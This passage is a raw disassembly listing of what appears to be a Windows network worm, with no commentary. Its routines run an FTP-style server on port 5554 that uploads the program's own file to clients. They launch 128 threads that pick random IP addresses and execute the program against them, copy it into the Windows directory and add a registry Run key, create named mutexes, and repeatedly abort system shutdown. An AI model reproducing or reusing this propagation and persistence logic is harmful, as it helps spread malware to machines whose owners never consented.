var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= word ptr -4
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8E4h
		push	ebx
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 0FFFFFFFFh
		jz	loc_401E29
		push	esi
		push	edi
		push	0
		push	ds:off_4068D0
		call	sub_402210
		mov	esi, ds:dword_4050F0
		pop	ecx
		push	eax
		push	ds:off_4068D0
		push	ebx
		call	esi	; send
		mov	edi, [ebp+arg_0]
		jmp	short loc_401B46
; ---------------------------------------------------------------------------


loc_401B43:				; CODE XREF: sub_401B08+310j
		mov	ebx, [ebp+arg_0]


loc_401B46:				; CODE XREF: sub_401B08+39j
		push	0
		lea	eax, [ebp+var_4E4]
		push	400h
		push	eax
		push	ebx
		call	ds:dword_4050EC	; recv
		and	[ebp+eax+var_4E4], 0
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_4E4]
		push	offset aUser	; "USER"
		push	eax
		call	sub_402600
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401B97
		push	0
		push	ds:off_4068D4
		call	sub_402210
		pop	ecx
		push	eax
		push	ds:off_4068D4
		jmp	loc_401E11
; ---------------------------------------------------------------------------


loc_401B97:				; CODE XREF: sub_401B08+73j
		lea	eax, [ebp+var_4E4]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_402600
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401BC8
		push	0
		push	ds:off_4068D8
		call	sub_402210
		pop	ecx
		push	eax
		push	ds:off_4068D8
		jmp	loc_401E11
; ---------------------------------------------------------------------------


loc_401BC8:				; CODE XREF: sub_401B08+A4j
		lea	eax, [ebp+var_4E4]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_402600
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401CA4
		lea	eax, [ebp+var_4E0]
		push	eax
		lea	eax, [ebp+var_E4]
		push	eax
		call	sub_402720
		mov	ax, ds:word_406A60
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_E4]
		push	eax
		call	sub_402680
		add	esp, 10h
		mov	ebx, eax
		xor	edi, edi


loc_401C17:				; CODE XREF: sub_401B08+159j
		test	ebx, ebx
		jz	short loc_401C4B
		cmp	edi, 4
		jge	short loc_401C2E
		push	ebx
		call	sub_401E30
		pop	ecx
		mov	[ebp+edi*4+var_38], eax
		cmp	edi, 4


loc_401C2E:				; CODE XREF: sub_401B08+116j
		jnz	short loc_401C3A
		push	ebx
		call	sub_401E30
		pop	ecx
		mov	[ebp+var_18], eax


loc_401C3A:				; CODE XREF: sub_401B08:loc_401C2Ej
		cmp	edi, 5
		jnz	short loc_401C4E
		push	ebx
		call	sub_401E30
		pop	ecx
		mov	[ebp+var_14], eax
		jmp	short loc_401C4E
; ---------------------------------------------------------------------------


loc_401C4B:				; CODE XREF: sub_401B08+111j
		push	6
		pop	edi


loc_401C4E:				; CODE XREF: sub_401B08+135j
					; sub_401B08+141j
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_402680
		inc	edi
		pop	ecx
		cmp	edi, 6
		pop	ecx
		mov	ebx, eax
		jl	short loc_401C17
		push	[ebp+var_2C]
		mov	edi, [ebp+var_18]
		lea	eax, [ebp+var_60]
		push	[ebp+var_30]
		shl	edi, 8
		push	[ebp+var_34]
		add	edi, [ebp+var_14]
		push	[ebp+var_38]
		push	offset aI_I_I_I	; "%i.%i.%i.%i"
		push	eax
		call	ds:dword_4050E0	; wsprintfA
		add	esp, 18h
		push	0
		push	ds:off_4068E0
		call	sub_402210
		pop	ecx
		push	eax
		push	ds:off_4068E0
		jmp	loc_401DD7
; ---------------------------------------------------------------------------


loc_401CA4:				; CODE XREF: sub_401B08+D5j
		lea	eax, [ebp+var_4E4]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_402600
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401DDC
		push	0
		push	ds:off_4068E4
		call	sub_402210
		pop	ecx
		push	eax
		push	ds:off_4068E4
		push	ebx
		call	esi	; send
		lea	eax, [ebp+var_60]
		push	eax
		call	sub_4011D5
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_401DB9
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_4021B0
		add	esp, 0Ch
		mov	[ebp+var_28], 2
		push	edi
		call	ds:dword_4050F4	; htons
		push	0
		push	1
		push	2
		mov	[ebp+var_26], ax
		mov	[ebp+var_24], ebx
		call	ds:dword_4050F8	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		mov	[ebp+var_C], ebx
		jz	loc_401DB9
		lea	eax, [ebp+var_28]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_4050FC	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401D44
		push	ebx
		call	ds:dword_40511C	; closesocket
		jmp	short loc_401DB9
; ---------------------------------------------------------------------------


loc_401D44:				; CODE XREF: sub_401B08+231j
		lea	eax, [ebp+var_8E4]
		push	400h
		push	eax
		push	0
		call	ds:dword_405034	; GetModuleFileNameA
		lea	eax, [ebp+var_8E4]
		push	0
		push	eax
		call	ds:dword_405030	; _lopen
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jz	short loc_401DB9
		lea	eax, [ebp+var_2]
		push	offset dword_406F38
		push	eax
		call	sub_402720
		mov	ebx, ds:dword_40502C
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	[ebp+var_8]


loc_401D8E:				; CODE XREF: sub_401B08+2A6j
		call	ebx	; _hread
		cmp	eax, 1
		jnz	short loc_401DB0
		and	[ebp+var_1], 0
		push	0
		push	eax
		lea	eax, [ebp+var_2]
		push	eax
		push	[ebp+var_C]
		call	esi	; send
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	[ebp+var_8]
		jmp	short loc_401D8E
; ---------------------------------------------------------------------------


loc_401DB0:				; CODE XREF: sub_401B08+28Bj
		push	[ebp+var_8]
		call	ds:dword_40501C	; _lclose


loc_401DB9:				; CODE XREF: sub_401B08+1DDj
					; sub_401B08+21Bj ...
		push	[ebp+var_C]
		call	ds:dword_40511C	; closesocket
		push	0
		push	ds:off_4068DC
		call	sub_402210
		pop	ecx
		push	eax
		push	ds:off_4068DC


loc_401DD7:				; CODE XREF: sub_401B08+197j
		push	[ebp+arg_0]
		jmp	short loc_401E12
; ---------------------------------------------------------------------------


loc_401DDC:				; CODE XREF: sub_401B08+1B1j
		lea	eax, [ebp+var_4E4]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_402600
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401DFC
		push	ebx
		call	ds:dword_40511C	; closesocket
		jmp	short loc_401E14
; ---------------------------------------------------------------------------


loc_401DFC:				; CODE XREF: sub_401B08+2E9j
		push	0
		push	ds:off_4068DC
		call	sub_402210
		pop	ecx
		push	eax
		push	ds:off_4068DC


loc_401E11:				; CODE XREF: sub_401B08+8Aj
					; sub_401B08+BBj
		push	ebx


loc_401E12:				; CODE XREF: sub_401B08+2D2j
		call	esi	; send


loc_401E14:				; CODE XREF: sub_401B08+2F2j
		cmp	[ebp+var_10], 0
		jg	loc_401B43
		push	[ebp+arg_0]
		call	ds:dword_40511C	; closesocket
		pop	edi
		pop	esi


loc_401E29:				; CODE XREF: sub_401B08+10j
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_401B08	endp


; =============== S U B	R O U T	I N E =======================================



sub_401E30	proc near		; CODE XREF: sub_401B08+119p
					; sub_401B08+129p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi


loc_401E38:				; CODE XREF: sub_401E30+13j
		mov	al, [esi]
		cmp	al, 20h
		jz	short loc_401E42
		cmp	al, 9
		jnz	short loc_401E45


loc_401E42:				; CODE XREF: sub_401E30+Cj
		inc	esi
		jmp	short loc_401E38
; ---------------------------------------------------------------------------


loc_401E45:				; CODE XREF: sub_401E30+10j
					; sub_401E30+2Ej
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_402810
		test	eax, eax
		pop	ecx
		jz	short loc_401E60
		movsx	ecx, byte ptr [esi]
		lea	eax, [edi+edi*4]
		inc	esi
		lea	edi, [ecx+eax*2-30h]
		jmp	short loc_401E45
; ---------------------------------------------------------------------------


loc_401E60:				; CODE XREF: sub_401E30+21j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_401E30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401E65	proc near		; DATA XREF: sub_402029+79o

var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	1
		push	2
		call	ds:dword_4050F8	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_401E89


loc_401E81:				; CODE XREF: sub_401E65+63j
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_401E89:				; CODE XREF: sub_401E65+1Aj
		push	15B2h
		mov	[ebp+var_14], 2
		call	ds:dword_4050F4	; htons
		mov	[ebp+var_12], ax
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_10], esi
		call	ds:dword_405118	; bind
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401EC1
		push	5
		push	edi
		call	ds:dword_405100	; listen
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401ECA


loc_401EC1:				; CODE XREF: sub_401E65+4Cj
		push	edi
		call	ds:dword_40511C	; closesocket
		jmp	short loc_401E81
; ---------------------------------------------------------------------------


loc_401ECA:				; CODE XREF: sub_401E65+5Aj
					; sub_401E65+89j
		push	esi
		push	esi
		push	edi
		call	ds:dword_4050E8	; accept
		lea	ecx, [ebp+var_4]
		push	ecx
		push	esi
		push	eax
		push	offset sub_401B08
		push	esi
		push	esi
		call	ds:dword_405038	; CreateThread
		push	19h
		call	ds:dword_405028	; Sleep
		jmp	short loc_401ECA
sub_401E65	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_401EF0	proc near		; DATA XREF: sub_402029+8Do

var_454		= byte ptr -454h
var_438		= byte ptr -438h
var_400		= byte ptr -400h

		sub	esp, 454h
		push	ebx
		push	ebp
		mov	ebp, ds:dword_4050E0
		push	esi
		push	edi
		mov	esi, 0FFh


loc_401F05:				; CODE XREF: sub_401EF0+134j
		lea	eax, [esp+464h+var_438]
		push	eax
		call	sub_4010D2
		pop	ecx
		lea	eax, [esp+464h+var_438]
		push	eax
		call	ds:dword_40510C	; inet_addr
		movsx	edi, al
		test	edi, edi
		movsx	ebx, ah
		jge	short loc_401F2B
		add	edi, 100h


loc_401F2B:				; CODE XREF: sub_401EF0+33j
		test	ebx, ebx
		jge	short loc_401F35
		add	ebx, 100h


loc_401F35:				; CODE XREF: sub_401EF0+3Dj
		call	sub_401000
		push	1Fh
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Fh
		jle	short loc_401F92
		call	sub_401000
		push	1Fh
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Fh
		jle	short loc_401F78
		call	sub_401000
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_401000
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_401000
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		jmp	short loc_401F8F
; ---------------------------------------------------------------------------


loc_401F78:				; CODE XREF: sub_401EF0+63j
		call	sub_401000
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_401000
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		push	ebx


loc_401F8F:				; CODE XREF: sub_401EF0+86j
		push	edi
		jmp	short loc_401FBE
; ---------------------------------------------------------------------------


loc_401F92:				; CODE XREF: sub_401EF0+53j
		call	sub_401000
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_401000
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_401000
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_401000
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx


loc_401FBE:				; CODE XREF: sub_401EF0+A0j
		lea	eax, [esp+474h+var_454]
		push	offset aI_I_I_I	; "%i.%i.%i.%i"
		push	eax
		call	ebp	; wsprintfA
		add	esp, 18h
		lea	eax, [esp+464h+var_454]
		push	eax
		call	sub_401153
		cmp	al, 1
		pop	ecx
		jnz	short loc_40201C
		lea	eax, [esp+464h+var_400]
		push	400h
		push	eax
		push	0
		call	ds:dword_405034	; GetModuleFileNameA
		lea	eax, [esp+464h+var_400]
		push	offset asc_406A7C ; " "
		push	eax
		call	sub_402730
		lea	eax, [esp+46Ch+var_454]
		push	eax
		lea	eax, [esp+470h+var_400]
		push	eax
		call	sub_402730
		add	esp, 10h
		lea	eax, [esp+464h+var_400]
		push	0
		push	eax
		call	ds:dword_40503C	; WinExec


loc_40201C:				; CODE XREF: sub_401EF0+EAj
		push	19h
		call	ds:dword_405028	; Sleep
		jmp	loc_401F05
sub_401EF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402029	proc near		; CODE XREF: sub_40283E+C9p

var_14		= dword	ptr -14h
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		push	edi
		mov	edi, ds:dword_405048
		xor	esi, esi
		push	offset aJobaka3	; "Jobaka3"
		push	esi
		push	esi
		call	edi	; CreateMutexA
		call	ds:dword_405044	; GetTickCount
		push	eax
		call	sub_40101E
		call	sub_401028
		push	[ebp+arg_8]
		call	sub_402210
		pop	ecx
		test	eax, eax
		pop	ecx
		jbe	short loc_402072
		push	[ebp+arg_8]
		call	sub_401A84
		pop	ecx
		push	1
		pop	eax


loc_40206C:				; CODE XREF: sub_402029+6Aj
		pop	edi
		pop	esi
		leave
		retn	10h
; ---------------------------------------------------------------------------


loc_402072:				; CODE XREF: sub_402029+35j
		push	1
		call	sub_4020D7
		mov	[esp+14h+var_14], offset aJumpallsnlstil ; "JumpallsNlsTillt"
		push	esi
		push	esi
		call	edi	; CreateMutexA
		call	ds:dword_405040	; RtlGetLastWin32Error
		cmp	eax, 0B7h
		jnz	short loc_402095
		xor	eax, eax
		jmp	short loc_40206C
; ---------------------------------------------------------------------------


loc_402095:				; CODE XREF: sub_402029+66j
		mov	edi, ds:dword_405038
		lea	eax, [ebp+var_4]
		push	ebx
		push	eax
		push	esi
		push	esi
		push	offset sub_401E65
		push	esi
		push	esi
		call	edi	; CreateThread
		mov	ebx, 80h


loc_4020B0:				; CODE XREF: sub_402029+97j
		lea	eax, [ebp+var_8]
		push	eax
		push	esi
		push	esi
		push	offset sub_401EF0
		push	esi
		push	esi
		call	edi	; CreateThread
		dec	ebx
		jnz	short loc_4020B0
		pop	ebx


loc_4020C3:				; CODE XREF: sub_402029+ACj
		push	esi
		call	ds:dword_405000	; AbortSystemShutdownA
		push	0BB8h
		call	ds:dword_405028	; Sleep
		jmp	short loc_4020C3
sub_402029	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4020D7	proc near		; CODE XREF: sub_402029+4Bp

var_824		= byte ptr -824h
var_425		= byte ptr -425h
var_424		= byte ptr -424h
var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 824h
		push	esi
		mov	esi, 400h
		lea	eax, [ebp+var_824]
		push	esi
		push	eax
		push	0
		call	ds:dword_405034	; GetModuleFileNameA
		lea	eax, [ebp+var_424]
		push	esi
		push	eax
		call	ds:dword_405050	; GetWindowsDirectoryA
		lea	eax, [ebp+var_424]
		push	eax
		call	sub_402210
		cmp	[ebp+eax+var_425], 5Ch
		pop	ecx
		pop	esi
		jz	short loc_40212F
		lea	eax, [ebp+var_424]
		push	offset asc_406ACC ; "\\"
		push	eax
		call	sub_402730
		pop	ecx
		pop	ecx


loc_40212F:				; CODE XREF: sub_4020D7+43j
		push	ds:off_4068C8
		lea	eax, [ebp+var_424]
		push	eax
		call	sub_402730
		cmp	[ebp+arg_0], 0
		pop	ecx
		pop	ecx
		jz	short loc_40215F
		lea	eax, [ebp+var_424]
		push	0
		push	eax
		lea	eax, [ebp+var_824]
		push	eax
		call	ds:dword_40504C	; CopyFileA


loc_40215F:				; CODE XREF: sub_4020D7+70j
		lea	eax, [ebp+var_4]
		push	eax
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		call	ds:dword_405004	; RegOpenKeyA
		lea	eax, [ebp+var_424]
		push	eax
		call	sub_402210
		pop	ecx
		push	eax
		lea	eax, [ebp+var_424]
		push	eax
		push	1
		push	0
		push	ds:off_4068C8
		push	[ebp+var_4]
		call	ds:dword_405008	; RegSetValueExA
		push	[ebp+var_4]
		call	ds:dword_40500C	; RegCloseKey
		leave
		retn
sub_4020D7	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4021B0	proc near		; CODE XREF: sub_401153+10p
					; sub_401153+40p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_402203
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_4021F7
		neg	ecx
		and	ecx, 3
		jz	short loc_4021D9
		sub	edx, ecx


loc_4021D3:				; CODE XREF: sub_4021B0+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_4021D3


loc_4021D9:				; CODE XREF: sub_4021B0+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_4021F7
		rep stosd
		test	edx, edx
		jz	short loc_4021FD


loc_4021F7:				; CODE XREF: sub_4021B0+18j
					; sub_4021B0+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_4021F7


loc_4021FD:				; CODE XREF: sub_4021B0+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_402203:				; CODE XREF: sub_4021B0+Aj
		mov	eax, [esp+arg_0]
		retn
sub_4021B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402210	proc near		; CODE XREF: sub_401210+3Ep
					; sub_401210+55p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_402230


loc_40221C:				; CODE XREF: sub_402210+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_402263
		test	ecx, 3
		jnz	short loc_40221C
		add	eax, 0


loc_402230:				; CODE XREF: sub_402210+Aj
					; sub_402210+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_402230
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_402281
		test	ah, ah
		jz	short loc_402277
		test	eax, 0FF0000h
		jz	short loc_40226D
		test	eax, 0FF000000h
		jz	short loc_402263
		jmp	short loc_402230
; ---------------------------------------------------------------------------


loc_402263:				; CODE XREF: sub_402210+11j
					; sub_402210+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_40226D:				; CODE XREF: sub_402210+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_402277:				; CODE XREF: sub_402210+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_402281:				; CODE XREF: sub_402210+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_402210	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402290	proc near		; CODE XREF: sub_401398+59p
					; sub_401398+78p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4022B0
		cmp	edi, eax
		jb	loc_402428


loc_4022B0:				; CODE XREF: sub_402290+16j
		test	edi, 3
		jnz	short loc_4022CC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4022EC
		rep movsd
		jmp	ds:off_4023D8[edx*4]
; ---------------------------------------------------------------------------


loc_4022CC:				; CODE XREF: sub_402290+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_4022E4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_4022EC+4[eax*4]
; ---------------------------------------------------------------------------


loc_4022E4:				; CODE XREF: sub_402290+46j
		jmp	dword ptr ds:loc_4023E8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4022EC:				; CODE XREF: sub_402290+31j
					; sub_402290+8Ej ...
		jmp	ds:off_40236C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_402300
		dd offset loc_40232C
; ---------------------------------------------------------------------------
		push	eax
		and	eax, [eax+0]


loc_402300:				; DATA XREF: sub_402290+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_4022EC
		rep movsd
		jmp	ds:off_4023D8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40232C:				; DATA XREF: sub_402290+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_4022EC
		rep movsd
		jmp	ds:off_4023D8[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_4022EC
		rep movsd
		jmp	ds:off_4023D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_40236C	dd offset loc_4023CF	; DATA XREF: sub_402290:loc_4022ECr
		dd offset loc_4023BC
		dd offset loc_4023B4
		dd offset loc_4023AC
		dd offset loc_4023A4
		dd offset loc_40239C
		dd offset loc_402394
		dd offset loc_40238C
; ---------------------------------------------------------------------------


loc_40238C:				; CODE XREF: sub_402290:loc_4022ECj
					; DATA XREF: sub_402290+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_402394:				; CODE XREF: sub_402290:loc_4022ECj
					; DATA XREF: sub_402290+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_40239C:				; CODE XREF: sub_402290:loc_4022ECj
					; DATA XREF: sub_402290+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_4023A4:				; CODE XREF: sub_402290:loc_4022ECj
					; DATA XREF: sub_402290+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_4023AC:				; CODE XREF: sub_402290:loc_4022ECj
					; DATA XREF: sub_402290+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_4023B4:				; CODE XREF: sub_402290:loc_4022ECj
					; DATA XREF: sub_402290+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_4023BC:				; CODE XREF: sub_402290:loc_4022ECj
					; DATA XREF: sub_402290+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4023CF:				; CODE XREF: sub_402290:loc_4022ECj
					; DATA XREF: sub_402290:off_40236Co
		jmp	ds:off_4023D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4023D8	dd offset loc_4023E8	; DATA XREF: sub_402290+35r
					; sub_402290+92r ...
		dd offset loc_4023F0
		dd offset loc_4023FC
		dd offset loc_402410
; ---------------------------------------------------------------------------


loc_4023E8:				; CODE XREF: sub_402290+35j
					; sub_402290+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_4023F0:				; CODE XREF: sub_402290+35j
					; sub_402290+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4023FC:				; CODE XREF: sub_402290+35j
					; sub_402290+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_402410:				; CODE XREF: sub_402290+35j
					; sub_402290+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_402428:				; CODE XREF: sub_402290+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_40245C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_402450
		std
		rep movsd
		cld
		jmp	ds:off_402570[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_402450:				; CODE XREF: sub_402290+1B1j
					; sub_402290+208j ...
		neg	ecx
		jmp	ds:off_402520[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40245C:				; CODE XREF: sub_402290+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_402474
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_402474+4[eax*4]
; ---------------------------------------------------------------------------


loc_402474:				; CODE XREF: sub_402290+1D6j
					; DATA XREF: sub_402290+1DDr
		jmp	ds:off_402570[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	[eax+eax*2], ah
		add	[eax-2FFFBFDCh], ch
		and	al, 40h
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_402450
		std
		rep movsd
		cld
		jmp	ds:off_402570[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_402450
		std
		rep movsd
		cld
		jmp	ds:off_402570[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_402450
		std
		rep movsd
		cld
		jmp	ds:off_402570[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_402524
		dd offset loc_40252C
		dd offset loc_402534
		dd offset loc_40253C
		dd offset loc_402544
		dd offset loc_40254C
		dd offset loc_402554
off_402520	dd offset loc_402567	; DATA XREF: sub_402290+1C2r
; ---------------------------------------------------------------------------


loc_402524:				; DATA XREF: sub_402290+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_40252C:				; DATA XREF: sub_402290+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_402534:				; DATA XREF: sub_402290+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_40253C:				; DATA XREF: sub_402290+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_402544:				; DATA XREF: sub_402290+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_40254C:				; DATA XREF: sub_402290+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_402554:				; DATA XREF: sub_402290+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_402567:				; CODE XREF: sub_402290+1C2j
					; DATA XREF: sub_402290:off_402520o
